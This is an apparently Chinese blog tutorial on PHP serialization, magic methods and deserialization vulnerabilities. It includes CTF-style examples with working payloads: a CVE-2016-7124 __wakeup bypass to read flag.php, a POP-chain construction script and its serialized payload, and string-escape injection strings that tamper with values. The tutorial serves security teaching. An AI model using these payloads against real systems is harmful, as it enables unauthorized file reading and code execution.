浅谈php序列化与反序列化

基础知识

现在我们都会在淘宝上买桌子,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。

也就是说,序列化的目的是方便传输和存储。

在PHP应用中,序列化和反序列化一般用做缓存,比如session,cookie等。

  • PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。
  • PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()函数。
  • PHP反序列化漏洞:如果代码中使用了反序列化 unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列magic方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。

序列化格式

<?php

$str='Theoyu';
$bool=true;
$null=NULL;
$arr=array('a'=>1,'b'=>2);

class A
{
    public $x;
    private $y;

    public function __construct($x,$y)
    {
        $this->x=$x;
        $this->y=$y;
    }
}

$test=new A(3,"theoyu");      
echo(serialize($str).'</br>');    //s:6:"Theoyu";
echo(serialize($bool).'</br>');   //b:1;
echo(serialize($null).'</br>');   //N;
echo(serialize($arr).'</br>');    //a:2{s:1:"a";i:1;s:1:"b";i:2;}
echo(serialize($test).'</br>');   //O:1:"A":2:{s:1:"x";i:3;s:4:"Ay";s:6:"theoyu";}

?>

序列化对不同类型得到的字符串格式为:

  • string : s:size:value;
  • Integer: i:value;
  • Boolean b:value;(1 or 0)
  • NULL N;
  • Array a:size:{key definition;value definition;······}definition 类似string or Integer
  • Object O:类名长度:”类名”:属性数量:{属性类型:属性名长度:属性名:value definition······}

Magic methods

PHP16个魔术方法

PHP中把比双下划线__开头的方法称为魔术方法,这些发在达到某些条件时会自动被调用:

  1. __construct():类的构造函数,当一个类被创建时自动调用
  2. __destruct)(),类的析构函数,当一个类被销毁时自动调用
  3. __sleep(),执行serialize()进行序列化时,先会调用这个函数
  4. __wakeup(),执行unserialize()进行反序列化时,先会调用这个函数
  5. __toString(),当把一个对象被当作字符串时被自动调用
  6. __invoke(),当把一个类当作函数使用时自动调用
  7. __call(),在对象中调用一个不可访问方法时调用
  8. __callStatic(),用静态方式中调用一个不可访问方法时调用
  9. __get(),获得一个类的不可访问成员变量时调用(不存在或为private)
  10. __set(),设置一个类的成员变量时调用(不存在或为private)
  11. __isset(),当对不可访问属性调用isset()或empty()时调用
  12. __unset(),当对不可访问属性调用unset()时被调用。
  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。
  14. __clone(),当对象复制完成时调用
  15. __autoload(),尝试加载未定义的类
  16. __debugInfo(),打印所需调试信息 几个常用的魔术方法具体实现。

` __construct()`

类似c++的构造函数

需要指出,PHP不支持构造函数重载,所以一个类只能声明一个构造函数!

__destruct()

同上,类似c++..

__sleep()

serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,则该方法会优先被调用。

  • 该函数必须至少返回一个所包含对象中的变量名称
  • 没有返回的变量将不会输出。
<?php
class Person
{
    public $name;
    public $sex;
    public $age;

    public function __construct($name,$sex,$age)
    {
        $this->name=$name;
        $this->sex=$sex;
        $this->age=$age;       
    }

    public function __sleep()
    {
        echo"我是__sleep()函数,我被调用了,你以为你还叫theoyu?<br>";
        $this->name=base64_encode($this->name);
        return array('name','sex');//没有返回age
    }


}
$person =new Person('theoyu','男','20');
echo serialize($person)
?>

输出:

我是__sleep()函数,我被调用了,你以为你还叫theoyu?
O:6:"Person":2 :{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}

没有年龄。

__wakeup()

unserialize()前会检查是否存在__wakeup(),如果存在会优先调动。

和__sleep()相比,不需要返回数组。

<?php
class Person
{
    public $name;
    public $sex;
    public $age;

    public function __construct($name,$sex,$age)
    {
        $this->name=$name;
        $this->sex=$sex;
        $this->age=$age;       
    }

    public function __sleep()
    {
        echo"我是__sleep()函数,我被调用了,你以为你还叫theoyu?<br>";
        $this->name=base64_encode($this->name);
        return array('name','sex');
    }
    public function __wakeup()
    {
        echo"我是__wakeup()函数,你重新拥有了你的名字<br>";
        $this->name=base64_decode(base64_decode($this->name)); //这里需要两次解码,因为__sleep()调用了两次
    }


}
$person =new Person('theoyu','男','20');
echo serialize($person)."<br>";
var_dump(unserialize(serialize($person)));

?>

输出:

我是__sleep()函数,我被调用了,你以为你还叫theoyu?
O:6:"Person":2:{s:4:"name";s:8:"dGhlb3l1";s:3:"sex";s:3:"男";}
我是__sleep()函数,我被调用了,你以为你还叫theoyu?
我是__wakeup()函数,你重新拥有了你的名字
object(Person)#2 (3) { ["name"]=> string(6) "theoyu" ["sex"]=> string(3) "男" ["age"]=> NULL }

…忽然发现好中二= =

__toString()

  • __toString() 用于一个对象被当作字符串时应该如何回应,应该显示什么。
  • __toString() 必须返回一个字符串。
<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;
        }
        function __toString()
        {
            $str="this is __toString";
            return $str;    //__toString() must return a string value
        }

    }
     $a=new A(3);
     echo $a;         //this is __toString
?>

__invoke()

  • 一个对象被当作函数调用时,__invoke() 会自动被调用。
<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;
        }
        function __invoke()
        {
            echo "this is __invoke";
        }

    }
     $a=new A(3);
     $a();         //this is __invoke
?>

` __call()`

  • 调用类不存在的函数时,__call()会被调用,保证程序正常进行。
  • 格式 function __call($function_name,$arguments)
  • 第一个参数会自动接收不存在函数的函数名,第二个参数以数组方式接收不存在函数的多个参数。
<?php
    class A
    {
        public $test;
        public function __construct($test)
        {
            $this->test=$test;

        }
        function __call($funcion_name,$arguments)
        {
            echo"你调用的函数:".$funcion_name."(参数:";
            print_r($arguments); //数组要用print_r()
            echo ")不存在!";
        }
     }

     $a=new A(3); 
     $a->person('name','age','sex');
     //你调用的函数:person(参数:Array ( [0] => name [1] => age [2] => sex ) )不存在!
?>

__get()

  • 访问private对象。
  • 访问不存在对象。
<?php
class Person
{
    private $name;
    public $age;
    function __construct($name="theoyu", $age=1)
    {
        $this->name = $name;
        $this->age = $age;
    }
    function __get($name)
    {
        return "\n"."__get()";
    }
}
$man=new Person();
echo $man->age;
echo $man->name;
echo $man->sex;
/*
1
__get()
__get()
*/

反序列化漏洞

e.g.1

  • CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
  • 要求版本:PHP5<5.6.25 PHP7<7.0.10

  • index.php:
<?php
    class loudong
    {
        public $file ='index.php';
        function __destruct()
        {
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
                {
                    echo"<br>";
                    show_source(dirname(__FILE__).'/'.$this->file);
                }
                else
                    die('Wrong filename');
            } 
        }
        function __wakeup()
        {
            $this->file='index.php';
        }

        function __toString()
        {
            return 'this is tostring';
        }
        

    }
    if(!isset($_GET['file']))
    {
        show_source('index.php');
    }
    else
    {
        $file=$_GET['file'];
        echo unserialize($file);
    }

?>  <!-- key in flag.php -->

分析其中的几个函数strchr(‘a’,’b’):在a中搜索字串b,搜索成功返回剩下字串,失败return false。

代码审计

  1. 提示flag在flag.php里面,我们要想办法读到里面的内容。
  2. 在析构函数中,show_source(dirname(__FILE__).’/’.$this->file),dirname返回的是文件所在文件夹的绝对路径,拼接后面的 /$this->file ,想办法看能不能把file改为flag.php.
  3. __wakeup() 中,反系列化会自动调用把file置为index.php,那我们希望绕过这个函数。

这里需要用到CVE-2016-7124漏洞

当序列化字符串中表示对象属性个数大于真实的属性个数或值类型不匹配时会跳过__wakeup的执行.

  • 正常构造序列化对象:O:7:"loudong":1:{s:4:"file";s:8:"flag.php";}
  • 绕过:O:7:"loudong":2:{s:4:"file";s:8:"flag.php";}//或i:8:”flag.php都可

e.g.2

一道考察多方面的题

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
        {
            $this->mod1->test2();
        }
}    
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                include"flag.php";
        }
}
$a = $_GET['string'];
unserialize($a);
?>

如何在一个类中实例化另一个类呢?利用类的构造函数,只要第一个类被实例化就会自动实例化我们需要另外构造的类。

思路

  1. 要想得到flag,需要调用GetFlag类中的get_flag()函数。
  2. 在string1类可以看出,我们需要把str1实例化为GetFlag类的对象,然后看有没有字符串能调用__toString()函数。
  3. 往上看,func类中,__invoke()函数存在字符串拼接,满足2的预期,需要把mod2实例化为string1的对象,再找找有没有把对象当作函数的地方来调用__invoke()。
  4. 在funct类中找到调用$s1()函数,只需将mod1实例化为func类的对象,再找找有没有调用不存在函数的地方。
  5. 芜湖,我们发现Call类中test1()函数就调用了不存在的函数,我们需要把mod1实例化为funct的对象。
  6. 最后一步!往上看!在start__gg的析构函数就调用了test1()函数,那我们只需要把mod1实例化为__Call的对象就可以了!

最后构造!

<?php
class start_gg
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new Call();
        }
}
class Call
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new funct();
        }
}
class funct
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new func();
        }
}
class func
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new string1();
        }
}
class string1
{
        public $str1;
        public function __construct()
        {
            $this->str1 = new GetFlag();
        }
}
class GetFlag {}

$a = new start_gg();
echo serialize($a);
//O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}
?>

payload serialize($a),得到flag。

拓展

字符串逃逸

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容。

可以看到}以外的部分并没有反序列化。

函数使字符变多

<?php
function filter($string)
{
    $filter = '/t/i';
    return preg_replace($filter,'ww',$string);
}
$username ='theoyu';
$age=20;
$user=array($username,$age);
$s=serialize($user);
var_dump($s);
var_dump(unserialize($s));
var_dump(filter($s));
var_dump(unserialize(filter($s)));
?>

在这个例子中,filter会把字符串中的t替换为两个w 我们看看输出: 可以看到filter后,我们的username变成了wwheoyu,为7个字符,但filter是在序列化后,所以其6个字节的长度并没有更改,也就导致了反序列失败。

这里我们假设一点,username是一个我们可以控制输入的变量,$age=20是一个不可更改的量,那我们就可以利用上面的filter函数来篡改age。

username我们可以控制,那么通过闭合的思想,如果我们在username的末尾构造了";i:1;i:18;},那么在反序列化时,真正的age部分就会因为在}以外而被忽略,默认username内我们构造的age为真,达到了篡改的目的。(有点像sql注入的闭合)

我们已经知道了一点,filter函数的存在,username内每一个t将被替换为ww,就会导致长度+1,如果我们想构造username=xxxx";i:1;i:18;},就需要把长度增加12位,那么我只需要构造username=tttttttttttt";i:1;i:18;}即可。

如果后面我们需要添加的内容不是前面每次增加字符的整数倍,可以在}外面随便加一些内容使长度为前面的倍数。

函数使字符变少

<?php
function filter($string)
{
    $filter = '/tt/i';
    return preg_replace($filter,'w',$string); 
}
$username ='ttheoyu';
$love = 'game';
$age=20;
$user=array($username,$love,$age);
$s=serialize($user);
var_dump($s);
var_dump(unserialize($s));
var_dump(filter($s));
var_dump(unserialize(filter($s)));
?>

字符减少的情况一般不止一个可修改的变量,这里我们加入$love变量,为什么要加入呢?与之前字符增加不一样,这里字符减少,只会把我们后面的一个变量的内容吞并,所以我要做的就是在username处构造适当的tt,把$love的关于长度部分给吞并掉,然后在love部分构造;i:1;s:4:"game";i:2;i:18;}把前面被吞掉的部分补上,后面再伪造虚拟的$age,即可篡改。

<?php
#随便构造几个tt
function filter($string)
{
    $filter = '/tt/i';
    return preg_replace($filter,'w',$string); 
}
$username ='tttttttttttttttt';
$love = ';i:1;s:4:"game";i:2;i:18;}';
$age=20;
$user=array($username,$love,$age);
$s=serialize($user);
var_dump($s);
var_dump(unserialize($s));
var_dump(filter($s));
var_dump(unserialize(filter($s)));

?>

我们数一下被应该被吞的部分 ,就是";i:1;s:26:,一共是11个字符,那么我们构造22个t即可。

参考

  • https://www.cnblogs.com/youyoui/p/8610068.html
  • https://lethe.site/2019/08/06/%E8%B0%88%E4%B8%80%E8%B0%88PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#0x05-PHP-SESSION%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96